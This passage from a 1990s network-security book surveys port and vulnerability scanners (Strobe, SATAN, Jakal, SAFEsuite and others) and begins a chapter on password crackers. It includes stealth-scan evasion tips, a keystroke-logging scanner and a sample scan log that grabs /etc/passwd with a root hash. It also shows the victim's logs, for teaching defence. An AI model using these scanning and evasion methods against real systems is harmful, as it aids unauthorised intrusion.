NOTE: NSS will not allow you to perform Hosts.equiv unless you have root privileges. If this is a critical issue and you do not currently have root, you might want to acquire a copy of Linux, Solaris X86, or FreeBSD. By getting one of these operating systems and installing it at home, you can become root. This is a common problem with several scanners, including SATAN and certain implementations of Internet Security Scanner.

As you might guess, some or most of these checks (except the Hosts.equiv query) can be conducted by hand by any user, even without root privileges. Basically, NSS serves the same function as most scanners: It automates processes that might otherwise take a human weeks to complete.

NSS comes (most often) as a tarred, g'zipped file. (In other words, it is a zipped archive created with gzip.exe, a popular compression tool similar to pkzip.exe.) With the original distribution, the author discussed the possibility of adding greater functionality, including the following features:

Although this is not an exhaustive treatment of NSS, there are some minor points I can offer here:


TIP: If your Perl include directory (where the Perl include files are located) is obscure and not included within your PATH environment variable, you will have to remedy that. Also, users should note that NSS does require the ftplib.pl library package.


Cross Reference: You can find a copy of NSS, authored by Douglas O'Neal (released March 28, 1995) at http://www.giga.or.at/pub/hacker/unix. This location was reliable as of November 20, 1996.

Strobe

Strobe (The Super Optimized TCP Port Surveyor) is a TCP port scanner that logs all open ports on a given machine. Strobe is fast (its author claims that an entire small country can be scanned within a reasonable period of time).

The key feature of Strobe is that it can quickly identify what services are being run on a given target (so quickly, in fact, that it takes less than 30 seconds to pin down a server, even with a 28.8 modem connection to the Internet). The key drawback of Strobe is that such information is limited. At best, a Strobe attack provides the cracker with a rough guideline, a map of what services can be attacked. Typical output from a Strobe scan looks like this:

localhost   echo     7/tcp Echo [95,JBP]
localhost   discard  9/tcp Discard [94,JBP]
localhost   systat   11/tcp Active Users [89,JBP]
localhost   daytime  13/tcp Daytime [93,JBP]
localhost   netstat  15/tcp Netstat
localhost   chargen  19/tcp Character Generator [92,JBP]
localhost   ftp      21/tcp File Transfer [Control] [96,JBP]
localhost   telnet   23/tcp Telnet [112,JBP]
localhost   smtp     25/tcp Simple Mail Transfer [102,JBP]
localhost   time     37/tcp Time [108,JBP]
localhost   finger   79/tcp Finger [52,KLH]
localhost   pop3     0/tcp Post Office Protocol-Version 3 122
localhost   sunrpc  111/tcp SUN Remote Procedure Call [DXG]
localhost   auth    113/tcp Authentication Service [130,MCSJ]
localhost   nntp    119/tcp Network News Transfer Protocol 65,PL4

As you can see, the information is purely diagnostic in character (for example, there are no probes for particular holes). However, Strobe makes up for this with extensive command-line options. For example, in scanning hosts with large numbers of assigned ports, you can disable all duplicate port descriptions. (Only the first definition is printed.) Other amenities include

Combining all these options produces a very controllable and configurable scan. Strobe generally comes as a tarred and g'zipped file. Contained within that distribution is a full man page and the binary.


Cross Reference: You can find a copy of Strobe, authored by Julian Assange (released 1995), at http://sunsite.kth.se/Linux/system/Network/admin/.

Pointers

In the unlikely event you acquire Strobe without also acquiring the man page, there is a known problem with Solaris 2.3. To prevent problems (and almost certainly a core dump), you must disable the use of getpeername(). This is done by adding the -g flag on the command line.

Also, although Strobe does not perform extensive tests on remote hosts, it leaves just as large a footprint as early distributions of ISS. A host that is scanned with Strobe will know it (this will most likely appear as a run of connect requests in the /var/adm/messages file).

SATAN (Security Administrator's Tool for Analyzing Networks)

SATAN is a computing curiosity, as are its authors. SATAN was released (or unleashed) on the Internet in April, 1995. Never before had a security utility caused so much controversy. Newspapers and magazines across the country featured articles about it. National news broadcasts warned of its impending release. An enormous amount of hype followed this utility up until the moment it was finally posted to the Net.

SATAN is, admittedly, quite a package. Written for UNIX workstations, SATAN was--at the time of its release--the only X Window System-based security program that was truly user friendly. It features an HTML interface, complete with forms to enter targets, tables to display results, and context-sensitive tutorials that appear when a hole has been found. It is--in a word--extraordinary.

SATAN's authors are equally extraordinary. Dan Farmer and Weitse Venema have both been deeply involved in security. Readers who are unfamiliar with SATAN might remember Dan Farmer as the co-author of COPS, which has become a standard in the UNIX community for checking one's network for security holes. Venema is the author of TCP_Wrapper. (Some people consider TCP_Wrapper to be the grandfather of firewall technology. It replaces inetd as a daemon, and has strong logging options.) Both men are extremely gifted programmers, hackers (not crackers), and authorities on Internet security.

SATAN was designed only for UNIX. It is written primarily in C and Perl (with some HTML thrown in for user friendliness). It operates on a wide variety of UNIX flavors, some with no porting at all and others with moderate to intensive porting.


NOTE: There is a special problem with running SATAN on Linux. The original distribution applies certain rules that result in flawed operation on the Linux platform. There is also a problem with the way the select() call is implemented in the tcp_scan module. Lastly, if one scans an entire subnet at one time, this will result in a reverse fping bomb. That is, socket buffers will overflow. Nevertheless, one site contains not only a nicely hacked SATAN binary for Linux, but also the diff file. (A diff file is a file that is close but not identical to another file. Using the diff utility, one compares the two files. The resulting output consists of the changes that must be made.) These items can be found at ftp.lod.com or one can obtain the diff file directly from Sunsite (sunsite.unc.edu) at /pub/Linux/system/Network/admin/satan-linux.1.1.1.diff.gz.

The package comes tarred and zipped and is available all over the world. As the name of the program (Security Administrator's Tool for Analyzing Networks) suggests, it was written for the purpose of improving network security. As such, not only must one run it in a UNIX environment, one must run it with root privileges.

Once again, these are known holes. That is, SATAN doesn't do anything that a cracker could not ultimately do by hand. However, SATAN does perform these probes automatically and what's more, it provides this information in an extremely easy-to-use package.


Cross Reference: You can obtain your copy of SATAN, written by Dan Farmer and Weitse Venema (released April, 1995), at http://www.fish.com.

The Process: Installation

SATAN unarchives like any other utility. Each platform may differ slightly, but in general, the SATAN directory will extract to /satan-1.1.1. The first step (after reading the documentation) is to run the Perl script reconfig. This script searches for various components (most notably, Perl) and defines directory paths. The script reconfig will fail if it cannot identify/define a browser. Those folks who have installed their browser in a nonstandard directory (and have failed to set that variable in the PATH) will have to set that variable manually. Also, those who do not have DNS available (they are not running DNS on their own machine) must set this in /satan-1.1.1/conf/satan.cf as follows:

$dont_use_nslookup = 1;

Having resolved all the PATH issues, the user can run a make on the distribution (make IRIX or make SunOS). I suggest watching the compile very closely for errors.


TIP: SATAN requires a little more resources than the average scanner, especially in the area of RAM and processor power. If you are experiencing sluggish performance, there are several solutions you can try. One of the most obvious is to get more RAM and greater processor power. However, if that isn't feasible, I suggest a couple things: One is to kill as many other processes as possible. Another is to limit your scans to 100 hosts or fewer per scan. Lastly, it is of some significance that SATAN has a command-line interface for those without strong video support or with limited memory resources.

Jakal

Jakal is a stealth scanner. That is, it will scan a domain (behind a firewall) without leaving any trace of the scan. According to its authors, all alpha test sites were unable to log any activity (although it is reported in the documentation from the authors that "Some firewalls did allow SYN|FIN to pass through").

Stealth scanners are a new phenomenon, their incidence rising no doubt with the incidence of firewalls on the Net. It's a relatively new area of expertise. So if you test Jakal and find that a few logs appear, don't be unforgiving.

Stealth scanners work by conducting half scans, which start (but never complete) the entire SYN|ACK transaction with the target host. Basically, stealth scans bypass the firewall and evade port scanning detectors, thus identifying what services are running behind that firewall. (This includes rather elaborate scan detectors such as Courtney and Gabriel. Most of these detection systems respond only to fully established connections.)


Cross Reference: Obtain a copy of Jakal, written by Halflife, Jeff (Phiji) Fay, and Abdullah Marafie at http://www.giga.or.at/pub/hacker/unix.

IdentTCPscan

IdentTCPscan is a more specialized scanner. It has the added functionality of picking out the owner of a given TCP port process. That is, it determines the UID of the process. For example, running IdentTCPscan against my own machine produced the following output:

Port:   7    Service:        (?)    Userid:  root
Port:   9    Service:        (?)    Userid:  root
Port:  11    Service:        (?)    Userid:  root
Port:  13    Service:        (?)    Userid:  root
Port:  15    Service:        (?)    Userid:  root
Port:  19    Service:        (?)    Userid:  root
Port:  21    Service:        (?)    Userid:  root
Port:  23    Service:        (?)    Userid:  root
Port:  25    Service:        (?)    Userid:  root
Port:  37    Service:        (?)    Userid:  root
Port:  79    Service:        (?)    Userid:  root
Port:  80    Service:        (?)    Userid:  root
Port: 110    Service:        (?)    Userid:  root
Port: 111    Service:        (?)    Userid:  root
Port: 113    Service:        (?)    Userid:  root
Port: 119    Service:        (?)    Userid:  root
Port: 139    Service:        (?)    Userid:  root
Port: 513    Service:        (?)    Userid:  root
Port: 514    Service:        (?)    Userid:  root
Port: 515    Service:        (?)    Userid:  root
Port: 540    Service:        (?)    Userid:  root
Port: 672    Service:        (?)    Userid:  root
Port: 2049    Service:        (?)    Userid:  root
Port: 6000    Service:        (?)    Userid:  root

This utility has a very important function. By finding the UID of the process, misconfigurations can be quickly identified. For example, examine this output. Seasoned security professionals will know that line 12 of the scan shows a serious misconfiguration. Port 80 is running a service as root. It happens that it is running HTTPD. This is a security problem because any attacker who exploits weaknesses in your CGI can run his or her processes as root as well.

I have tried many scanners. IdentTCPscan is extremely fast and as such, it is a powerful and incisive tool (a favorite of crackers). The utility works equally well on a variety of platforms, including Linux, BSDI, and SunOS. It generally comes as a compressed file containing the source code. It is written in C and is very compact. It also requires minimal network resources to run. It will build without event using most any C compiler.


Cross Reference: Obtain a copy of IdentTCPscan, written by David Goldsmith (released February 11, 1996), at http://www.giga.or.at/pub/hacker/unix.

CONNECT

CONNECT is a bin/sh script. Its purpose is to scan subnets for TFTP servers. (As you might surmise, these are difficult to find. TFTP is almost always disabled these days.) This scanner scans trailing IP addresses recursively. For this reason, you should send the process into the background (or go get yourself a beer, have some lunch, play some golf).

This scanner is of relatively little importance because TFTP is a lame protocol. There isn't much to gain. (Although, if the sysad at that location is negligent, you might be able to obtain the /etc/passwd file. Don't count on it, however. These days, the odds of finding both an open TFTP server and a non-shadowed passwd file on the same machine are practically nil.)


Cross Reference: The documentation of CONNECT is written by Joe Hentzel; according to Hentzel, the script's author is anonymous, and the release date is unknown. Obtain a copy at http://www.giga.or.at/pub/hacker/unix/.

FSPScan

FSPScan scans for FSP servers. FSP stands for File Service Protocol, an Internet protocol much like FTP. It provides for anonymous file transfers and reportedly has protection against network overloading (for example, FSP never forks). Perhaps the most security-aware feature of FSP is that it logs the incoming user's hostname. This is considered superior to FTP, which requests the user's e-mail address (which, in effect, is no logging at all). FSP was popular enough, now sporting GUI clients for Windows and OS/2.

What's extraordinary about FSPScan is that it was written by one of the co-authors of FSP! But then, who better to write such a utility?


Cross Reference: Obtain a copy of FSPScan, written by Wen-King Su (released in 1991), at http://www.giga.or.at/pub/hacker/unix.

XSCAN

XSCAN scans a subnet (or host) for X server vulnerabilities. At first glance, this doesn't seem particularly important. After all, most other scanners do the same. However, XSCAN includes an additional functionality: If it locates a vulnerable target, it immediately starts logging the keystrokes at that terminal.

Other amenities of XSCAN include the capability to scan multiple hosts in the same scan. These can be entered on the command line as arguments. (And you can specify both hosts and subnets in a kind of mix-and-match implementation.) The source for this utility is included on the CD-ROM that accompanies this book.


Cross Reference: Obtain a copy of XSCAN (release unknown) at http://www.giga.or.at/pub/hacker/unix.

Our Sample Scan

Our sample scan will be generated using a product called SAFEsuite. Many of you might be familiar with this product, which was developed by Internet Security Systems. ISS is extremely well known on the Net for a product called ISS. This product (the Internet Security Scanner) was among the first automated scanners to sell commercially.

From ISS to SAFEsuite

The first release of ISS stirred some controversy. Many people felt that releasing such a tool free to the Internet community would jeopardize the network's already fragile security. (The reaction to Dan Farmer's SATAN was very similar.) After all, why release a product that automatically detects weaknesses in a remote target? In the manual pages for ISS, the author (Christopher Klaus) addressed this issue by writing:

...To provide this to the public or at least to the security-conscious crowd may cause people to think that it is too dangerous for the public, but many of the (cr/h)ackers are already aware of these security holes and know how to exploit them. These security holes are not deep in some OS routines, but standard misconfigurations that many domains on Internet tend to show. Many of these holes are warned about in CERT and CIAC advisories...

In early distributions of ISS, the source code for the program was included in the package. (This sometimes came as a shar or shell archive file and sometimes not.) For those interested in examining the components that make a successful and effective scanner, the full source for the older ISS is included on the CD-ROM that accompanies this book.

ISS has the distinction of being one of the mainstays of Internet security. It can now be found at thousands of sites in various forms and versions. It is a favorite of hackers and crackers alike, being lightweight and easy to compile on almost any UNIX-based platform. Since the original release of ISS, the utility has become incredibly popular. The development team at ISS has carried this tradition of small, portable security products onward, and SAFEsuite is its latest effort. It is a dramatic improvement over earlier versions.

SAFEsuite consists of several scanners:

SAFEsuite is similar to SATAN in that the configuration, management, implementation, and general use of the program can be done in a GUI environment. This saves enormous time and effort. It also allows resulting information to be viewed quickly and conveniently. However, SAFEsuite has an additional attribute that will make it quite popular: It runs on a Microsoft platform. SAFEsuite has been developed for use on Microsoft Windows NT.

This is of some significance. Only recently has NT been recognized by the UNIX community as an acceptable server platform. This may in part be attributed to NT's new C2 security rating. In any event, ISS has broken through the barrier by providing a tested security tool for a large portion of the Microsoft-based community. I consider this a rather far-sighted undertaking on the part of the development team at ISS.

SAFEsuite performs a wide variety of attacks on the specified network. These include diagnostic routines on all of the following services:

Curiously, the ISS development team also managed to add support for analysis of a host's vulnerability to IP spoofing and denial-of-service attacks. (This is impressive, although one wonders what significance there is in knowing that you're vulnerable to a DoS attack. Few platforms are immune to this type of attack.)

According to the folks at ISS:

SAFEsuite is the fastest, most comprehensive, proactive UNIX network security scanner available. It configures easily, scans quickly, and produces comprehensive reports. SAFEsuite probes a network environment for selected security vulnerabilities, simulating the techniques of a determined hacker. Depending on the reporting options you select, SAFEsuite gives you the following information about each vulnerability found: location, in-depth description, and suggested corrective actions.

In any case, those of you who have used earlier versions of ISS will find that the SAFEsuite distribution is slightly different. For example, earlier versions (with the exception of one trial distribution) were not for use in a GUI. For that reason, I will quickly cover the scan preparation in this tool. Perhaps the most dramatic change from the old ISS to the new SAFEsuite is that SAFEsuite is a commercial product.

Notes on the Server Configuration

For the purposes of demonstrating both target and attacker views of a scan, I established a server with the hostname SamsHack. It was configured as follows:

I chose Linux because it provides strong logging capabilities. Default logging in Linux in done via a file called /var/adm/messages. (This might differ slightly, depending on the Linux distribution. Red Hat Linux, for example, has a slightly different directory structure from Slackware. In that distribution, you will probably be focusing on the file /var/logs/messages.)

The /var/adm/messages file records status reports and messages from the system. These naturally include the boot routine and any problems found there, as well as dozens of other processes the user might initiate. (In this case, the /var/adm/messages file will log our server's responses to the SAFEsuite scan.)


NOTE: On some versions of Linux (and indeed, on the majority of UNIX distributions), more valuable logging information can generally be found in /var/adm/syslog than in /var/adm/messages. This is especially so with regard to attempts by users to gain unauthorized access from inside the system.

System Requirements

At the time this chapter was written, the Windows NT version of SAFEsuite was still in development. Therefore, NT users should contact the development team at ISS for details on how to install on that platform. The system requirements are shown in Table 9.3.

Table 9.3. Installation requirements for SAFEsuite.

Element Requirement
Processor Speed Not defined
RAM 16MB or better
Networking TCP/IP
Privileges Root or administrator
Storage Approximately 5MB
Browser Any HTML-3 browser client
Miscellaneous Solaris boxes require Motif 1.22+

SAFEsuite runs on many platforms, including but not limited to the following:

Installing the suite is straightforward. It unpacks like any standard UNIX utility. It should be copied to a directory of your choice. Go to that directory and extract the archive, using the following command:

tar -xvf iss-xxx.tar

After you untar the archive, you will see a file labeled iss.install. This is a Bourne shell script that will perform the installation. (This mainly involves extracting the distribution disks and the help documentation, which is in HTML format.) Run this file to complete the basic installation process by executing the command sh iss.install. The chief executable is the xiss file, which will launch SAFEsuite in the X Window System, OpenWindows, or any compatible windowing system for UNIX.

Configuration

In this scan, I used the defaults to simplify the interpretation of output (by output, I mean not only the information that the scan gleans from our server, but also the footprint, or trail, that the scanner leaves behind). Nevertheless, the configuration options in SAFEsuite are very incisive.

If you decide to use SAFEsuite, you might want to take advantage of those incisive options. If so, you need to call the Scanner Configuration window (see Figure 9.1). Some of the options here are similar to options formerly expressed with the command-line interface (such as the outfile, or log file, which contains all information recorded during the scan; this was formerly assigned with the -o option). Other options are entirely new, such as the option for specifying a Web browser.


The SAFEsuite configuration screen.


NOTE: The Web browser option isn't really an option. To read the unabridged manual that comes with SAFEsuite, you must specify a browser. That is, if the user does not specify a browser, the Help option in the main menu window will not work. (An error message is produced, informing you that you have not chosen a browser.) If there is a reason why you don't want to specify a browser at that point--or if the machine you are using does not have one--you can still view the entire tutorial and manual on another machine. Simply transport all HTML files into a directory of your choice, start a browser, and open index.html. The links will work fine locally.

Special Features The options to specify additional ports is particularly interesting. So is the capability to add modules. SAFEsuite appears to be quite extensible. Thus, if you hack specialized code for probing parts of the system not covered by SAFEsuite, you can include these modules into the scan (as you can with Farmer and Venema's SATAN).


TIP: Even if you don't write your own security tools, you can patch in the code of others. For example, there are many nonestablishment scanners out there that perform specialized tasks. There is no reason why these tools cannot be solidly integrated into the SAFEsuite scan.


NOTE: The SAFEsuite program includes network maps, which are an ingenious creation (one that Farmer and Venema had intentions of adding to SATAN). The network map is a wonderful way to quickly isolate problem machines or configurations on your network. These maps provide a graphical representation of your network, visually highlighting potential danger spots. Used in conjunction with other network architecture tools (many which are not particularly related to security), products like SAFEsuite can help you to quickly design safe network topology.


Cross Reference: For more information about the purchase, use, or configuration of SAFEsuite, contact ISS at its Web page (http://ISS).

The Scan

The scan took approximately two minutes. For those of you who are interested, the network resources consumed were relatively slim. For example, while the scan occurred, I was also running several other applications. The scan's activity was hardly noticeable. The results of the scan were enlightening. The SamsHack server was found to be vulnerable in several areas. These vulnerabilities ranged from trivial to serious.


NOTE: For the truly curious, I was running SAFEsuite through a standard configuration of MIT's X Window System. The X Window manager was FVWM.

The rlogin Bug

One of the tests SAFEsuite runs is for a bug in the remote login program called rlogin. Was the SamsHack server vulnerable to rlogin attack? No.

# Rlogin Binding to Port
# Connected to Rlogin Port
# Trying to gain access via Rlogin
127.0.0.1: ---- rlogin begin output ----

127.0.0.1: ---- rlogin end output ----
# Rlogin check complete, not vulnerable.

In other areas, however, the SamsHack server was vulnerable to attack. These vulnerabilities were critical. Take a close look at the following log entry:

# Time Stamp(555): Rsh check: (848027962) Thu Nov 14 19:19:22
# Checking Rsh For Vulnerabilities
# Rsh Shell Binding to Port
# Sending command to Rsh
127.0.0.1: bin/bin logged in to rsh
127.0.0.1: Files grabbed from rsh into `./127.0.0.1.rsh.files'
127.0.0.1: Rsh vulnerable in hosts.equiv
# Completed Checking Rsh for Vulnerability

You'll see that line 6 suggests that some files were grabbed and saved. Their output was sent to a file called 127.0.0.1.rsh.files. Can you guess what file or files were saved to that file? If you guessed the /etc/passwd file, you are quite correct. Here are the contents of 127.0.0.1.rsh.files:

root:bBndEhmQlYwTc:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null

FTP also proved to be vulnerable (although the importance of this is questionable):

127.0.0.1: ---- FTP version begin output ----
 SamsHack FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
127.0.0.1: ---- FTP version end output ----
127.0.0.1:  Please login with USER and PASS.
127.0.0.1:  Guest login ok, send your complete e-mail address as password.
127.0.0.1:  Please login with USER and PASS.
127.0.0.1: ANONYMOUS FTP ALLOWED
127.0.0.1:  Guest login ok, access restrictions apply.
127.0.0.1:  "/" is current directory.
127.0.0.1:  iss.test: Permission denied.
127.0.0.1:  iss.test: Permission denied. (Delete)
127.0.0.1:  Entering Passive Mode (127,0,0,1,4,217)
127.0.0.1:  Opening ASCII mode data connection for /bin/ls.
127.0.0.1:  Transfer complete.
127.0.0.1:  Entering Passive Mode (127,0,0,1,4,219)
127.0.0.1:  Opening ASCII mode data connection for /etc/passwd (532 bytes).
127.0.0.1:  Transfer complete.
127.0.0.1: Files grabbed via FTP into ./127.0.0.1.anonftp.files
127.0.0.1:  Goodbye.

As you might have surmised, the passwd file for FTP was grabbed into a file. Thus, in this chapter, we have identified at least three serious security weaknesses in SamsHack.net:

These weaknesses are common to many operating systems in their out-of-the-box state. In fact, the Linux distribution used to demonstrate this scan was out of the box. I made no modifications to the installation whatsoever. Therefore, you can conclude that out-of-the-box Slackware distributions are not secure.

I have included the entire scan log on the CD-ROM that accompanies this book. Printing it here would be unreasonable, as it amounts to over 15 pages of information.

You have just seen the basics of scanning a single host. But in reality, a cracker might scan as many as 200 hosts in a single evening. For such widespread activity, more resources are required (greater bandwidth, more RAM, and a more powerful processor). But resources are not the cracker's only concern; such a scan leaves a huge footprint. We've seen this scan from the cracker's perspective. Now, let's look at it from the victim's perspective.

The Other Side of the Fence

As I noted earlier, logging capabilities are extremely important. Logs can often determine not only when and how an attack took place, but also from where the attack originated.

On November 10, 1996, I conducted a scan identical to the one shown previously, which was performed on November 14, 1996. The only difference between the two scans is that on the November 10th scan, I employed not one but several scanners against the SamsHack server. Those scans and their activities were reported to the system to the file /var/adm/messages. Take a look at the output:

Nov 10 21:29:38 SamsHack ps[159]: connect from localhost
Nov 10 21:29:38 SamsHack netstat[160]: connect from localhost
Nov 10 21:29:38 SamsHack in.fingerd[166]: connect from localhost
Nov 10 21:29:38 SamsHack wu.ftpd[162]: connect from localhost
Nov 10 21:29:38 SamsHack in.telnetd[163]: connect from localhost
Nov 10 21:29:39 SamsHack ftpd[162]: FTP session closed
Nov 10 21:29:39 SamsHack in.pop3d[169]: connect from localhost
Nov 10 21:29:40 SamsHack in.nntpd[170]: connect from localhost
Nov 10 21:29:40 SamsHack uucico[174]: connect from localhost
Nov 10 21:29:40 SamsHack in.rlogind[171]: connect from localhost
Nov 10 21:29:40 SamsHack in.rshd[172]: connect from localhost
Nov 10 21:29:40 SamsHack telnetd[163]: ttloop:  read: Broken pipe
Nov 10 21:29:41 SamsHack nntpd[170]: localhost connect
Nov 10 21:29:41 SamsHack nntpd[170]: localhost refused connection
Nov 10 21:29:51 SamsHack ps[179]: connect from localhost
Nov 10 21:29:51 SamsHack netstat[180]: connect from localhost
Nov 10 21:29:51 SamsHack wu.ftpd[182]: connect from localhost
Nov 10 21:29:51 SamsHack in.telnetd[183]: connect from localhost
Nov 10 21:29:51 SamsHack in.fingerd[186]: connect from localhost
Nov 10 21:29:51 SamsHack in.pop3d[187]: connect from localhost
Nov 10 21:29:52 SamsHack ftpd[182]: FTP session closed
Nov 10 21:29:52 SamsHack in.nntpd[189]: connect from localhost
Nov 10 21:29:52 SamsHack nntpd[189]: localhost connect
Nov 10 21:29:52 SamsHack nntpd[189]: localhost refused connection
Nov 10 21:29:52 SamsHack uucico[192]: connect from localhost
Nov 10 21:29:52 SamsHack in.rshd[194]: connect from localhost
Nov 10 21:29:52 SamsHack in.rlogind[193]: connect from localhost
Nov 10 21:29:53 SamsHack login: ROOT LOGIN ON tty2
Nov 10 21:34:17 SamsHack ps[265]: connect from pm7-6.pacificnet.net
Nov 10 21:34:17 SamsHack netstat[266]: connect from pm7-6.pacificnet.net
Nov 10 21:34:17 SamsHack wu.ftpd[268]: connect from pm7-6.pacificnet.net
Nov 10 21:34:22 SamsHack ftpd[268]: FTP session closed
Nov 10 21:34:22 SamsHack in.telnetd[269]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.fingerd[271]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack uucico[275]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.pop3d[276]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.rlogind[277]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.rshd[278]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.nntpd[279]: connect from pm7-6.pacificnet.net
Nov 10 21:34:28 SamsHack telnetd[269]: ttloop:  read: Broken pipe
Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net connect
Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net refused connection
Nov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on illegal port

The first thing I want you to notice is the time. The first line of this log excerpt reports the time as 21:29:38. The last line of the scan reports 21:34:33. Thus, the entire range of activity occurred within a five-minute period. Next, I want you to take a good look at what's happening here. You will see that nearly every open, available port has been attacked (some of them more than once). And, on at least one occasion, the IP address from which the attack originated appears clearly within the log (specifically, on the last line of the small snippet of log I have provided). The line appears as

Nov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on illegal port

It is quite obvious that any system administrator looking for attacks like this one needn't look far. Keep in mind that in this example, I was not running any special logging utilities or wrappers. Just plain, old logging, which is on by default in a factory install.

So the average system administrator needn't do more than search the /var/adm/message file (or its equivalent) for runs of connection requests. However, you will be surprised to know that an overwhelming number of system administrators do not do this on a regular basis.

Other Platforms

Scanners have traditionally been designed for UNIX. But what about other operating systems? There are two aspects to consider about scanners with regard to operating system. The first is what operating system the target machine runs. The second is what operating system the attacking machine runs. I want to discuss these in relation to platforms other than UNIX.

The Target Machine As Another Platform

Scanning platforms other than UNIX might or might not be of significant value. At least, this is true with respect to deployment of TCP port scanners. This is because the majority of non-UNIX platforms that support TCP/IP support only portions of TCP/IP. In fact, some of those TCP/IP implementations are quite stripped down. Frankly, several TCP/IP implementations have support for a Web server only. (Equally, even those that have support for more might not evidence additional ports or services because these have been disabled.)

This is the main reason that certain platforms, like the Macintosh platform, have thus far seen fewer intrusions than UNIX-based operating systems. The fewer services you actually run, the less likely it is that a hole will be found. That is common sense.

Equally, many platforms other than UNIX do support extensive TCP/IP. AS/400 is one such platform. Microsoft Windows NT (with Internet Information Server) is another. Certainly, any system that runs any form of TCP/IP could potentially support a wide range of protocols. Novell NetWare, for example, has long had support for TCP/IP.

It boils down to this: The information you will reap from scanning a wide variety of operating systems depends largely on the construct of the /etc/services file or the targeted operating system's equivalent. This file defines what ports and services are available. This subject will discussed later, as it is relevant to (and implemented differently on) varied operating systems. In Chapter 18, "Novell," for example, I examine this file and its uses on the Novell NetWare platform.

The Scanning Machine on Another Platform

Using a platform other than UNIX to perform a scan is another matter. Port scanning utilities for other platforms are available and, as you might surmise, we're going to use one momentarily. The product I will be using to demonstrate this process runs in Windows 95. It is called Network Toolbox.

Network Toolbox

Network Toolbox is a TCP/IP utility for Windows 95. (This program was discussed earlier in this chapter in the section on network analysis utilities.) It was developed by J. River Co. of Minneapolis, Minnesota (it can be reached at info@jriver.com). The utility includes a port scanner. I will not conduct an exhaustive analysis of other utilities available within the application (though there are many, including ping). Instead, I would like to give you a quick start. Figure 9.2 shows opening screen of the application.

1. Before conducting a scan with Network Toolbox, you must first set the scan properties. By default, the Network Toolbox port scan only queries 14 TCP/IP ports. This is insufficient for a complete scan. The output of a default scan would look like this:
port:  9     discard     Service available
port: 13     daytime     Service available
port: 21         ftp     Service available
port: 23      telnet     Service available
port: 25        smtp     Service available
port: 37        time     Service available
port: 79      finger     Service available
port: 80        http     Service available
port:110        pop3     Service available
port:111     portmap     Service available
port:512        exec     Service available
port:513       login     Service available
port:514       shell     Service available
port:540        uucp     Service available
2. To obtain a more comprehensive scan, you must first set the scan's properties. To do so, click the Options button to call the Options panel (see Figure 9.3).


The Network Toolbox opening screen.


The Network Toolbox Options panel.

3. After you open the Network Toolbox Options panel, select the tab marked Port Scanner. This will bring you to options and settings for the scan (see Figure 9.4).


The Network Toolbox Port Scanner Option tab.

4. The Port Scanner Option tab provides a series of options regarding ports. One is to specify a range of ports by number. This is very useful, though I would probably scan all available ports.

5. The last step is to actually scan the targeted host. This is done by choosing the Scan button shown in Figure 9.5.


Select the Scan button to scan the targeted host.

The port scanner in Network Toolbox is fast and accurate. The average scan takes less than a minute. I would characterize this as a good product. Moreover, it provides ports of several other UNIX utilities of interest.

The information gleaned using this utility is quite similar to that obtained using Strobe. It will not tell you the owner of a process, nor does the Network Toolbox port scanner try doors or windows. (In other words, it makes no attempt to penetrate the target network.) However, it is valuable because it can quickly determine what processes are now running on the target.

Summary

In this chapter, you have learned a little bit about scanners, why they were developed, and how they work. But education about scanners doesn't stop there. You might be surprised to know that new scanners crop up every few months or so, and these are usually more functional than their predecessors.

Internet security is a constantly changing field. As new holes are discovered, they are posted to various mailing lists, alert rosters, and newsgroups. Most commonly, such alerts end up at CERT or CIAC. Crackers and hackers alike belong to such mailing lists and often read CERT advisories. Thus, these new holes become common knowledge often minutes or hours after they are posted.

As each new hole is uncovered, capabilities to check for the new hole are added to existing scanners. The process is not particularly complex. In most cases, the cracker need only write a small amount of additional code, which is then pasted into the existing source code of his or her scanner. The scanner is then recompiled and voilà! The cracker is ready to exploit a new hole on a wide scale. This is a never-ending process.

System administrators must learn about and implement scanners. It is a fact of life. Those who fail to do so will suffer the consequences, which can be very grave. I believe scanners can educate new system administrators as to potential security risks. If for no other reason than this, scanners are an important element of Internet security. I recommend trying out as many as possible.


10

Password Crackers

This chapter examines password crackers. Because these tools are of such significance in security, I will cover many different types, including those not expressly designed to crack Internet-related passwords.

What Is a Password Cracker?

The term password cracker can be misinterpreted, so I want to define it here. A password cracker is any program that can decrypt passwords or otherwise disable password protection. A password cracker need not decrypt anything. In fact, most of them don't. Real encrypted passwords, as you will shortly learn, cannot be reverse-decrypted.

A more precise way to explain this is as follows: encrypted passwords cannot be decrypted. Most modern, technical encryption processes are now one-way (that is, there is no process to be executed in reverse that will reveal the password in plain text).

Instead, simulation tools are used, utilizing the same algorithm as the original password program. Through a comparative analysis, these tools try to match encrypted versions of the password to the original (this is explained a bit later in this chapter). Many so-called password crackers are nothing but brute-force engines--programs that try word after word, often at high speeds. These rely on the theory that eventually, you will encounter the right word or phrase. This theory has been proven to be sound, primarily due to the factor of human laziness. Humans simply do not take care to create strong passwords. However, this is not always the user's fault:

